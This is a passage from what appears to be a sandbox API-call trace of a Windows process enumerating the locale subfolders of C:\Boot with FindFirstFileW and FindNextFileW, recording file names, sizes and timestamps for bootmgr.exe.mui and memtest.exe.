ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.095] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0195.095] FindClose (in: hFindFile=0x5410f0 | out: hFindFile=0x5410f0) returned 1 [0195.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4f0000) returned 1 [0195.095] FindNextFileW (in: hFindFile=0x5410b0, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0195.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0195.095] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5410f0 [0195.096] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.097] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0195.097] FindClose (in: hFindFile=0x5410f0 | out: hFindFile=0x5410f0) returned 1 [0195.097] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4f0000) returned 1 [0195.097] FindNextFileW (in: hFindFile=0x5410b0, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0195.097] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0195.097] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5410f0 [0195.098] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.098] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0195.098] FindClose (in: hFindFile=0x5410f0 | out: hFindFile=0x5410f0) returned 1 [0195.098] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4f0000) returned 1 [0195.098] FindNextFileW (in: hFindFile=0x5410b0, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0195.098] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0195.098] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x541030 [0195.161] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.161] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0195.162] FindClose (in: hFindFile=0x541030 | out: hFindFile=0x541030) returned 1 [0195.162] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4f0000) returned 1 [0195.162] FindNextFileW (in: hFindFile=0x5410b0, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0195.162] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0195.162] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x541030 [0195.162] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.162] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0195.162] FindClose (in: hFindFile=0x541030 | out: hFindFile=0x541030) returned 1 [0195.162] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4f0000) returned 1 [0195.162] FindNextFileW (in: hFindFile=0x5410b0, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0195.163] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0195.163] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x541030 [0195.163] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.163] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0195.163] FindClose (in: hFindFile=0x541030 | out: hFindFile=0x541030) returned 1 [0195.163] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4f0000) returned 1 [0195.163] FindNextFileW (in: hFindFile=0x5410b0, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0195.163] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0195.163] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x541030 [0195.164] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.164] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0195.164] FindClose (in: hFindFile=0x541030 | out: hFindFile=0x541030) returned 1 [0195.164] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4f0000) returned 1 [0195.164] FindNextFileW (in: hFindFile=0x5410b0, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0195.164] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0195.164] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x541030 [0195.164] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.164] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0195.165] FindClose (in: hFindFile=0x541030 | out: hFindFile=0x541030) returned 1 [0195.165] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4f0000) returned 1 [0195.165] FindNextFileW (in: hFindFile=0x5410b0, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0195.165] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0195.165] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x541030 [0195.165] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.165] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0195.165] FindClose (in: hFindFile=0x541030 | out: hFindFile=0x541030) returned 1 [0195.165] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4f0000) returned 1 [0195.165] FindNextFileW (in: hFindFile=0x5410b0, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0195.166] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0195.166] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x541030 [0195.166] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.166] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0195.166] FindClose (in: hFindFile=0x541030 | out: hFindFile=0x541030) returned 1 [0195.166] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4f0000) returned 1 [0195.166] FindNextFileW (in: hFindFile=0x5410b0, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0195.166] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0195.166] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x541030 [0195.166] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.167] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0195.167] FindClose (in: hFindFile=0x541030 | out: hFindFile=0x541030) returned 1 [0195.167] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4f0000) returned 1 [0195.167] FindNextFileW (in: hFindFile=0x5410b0, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x10, 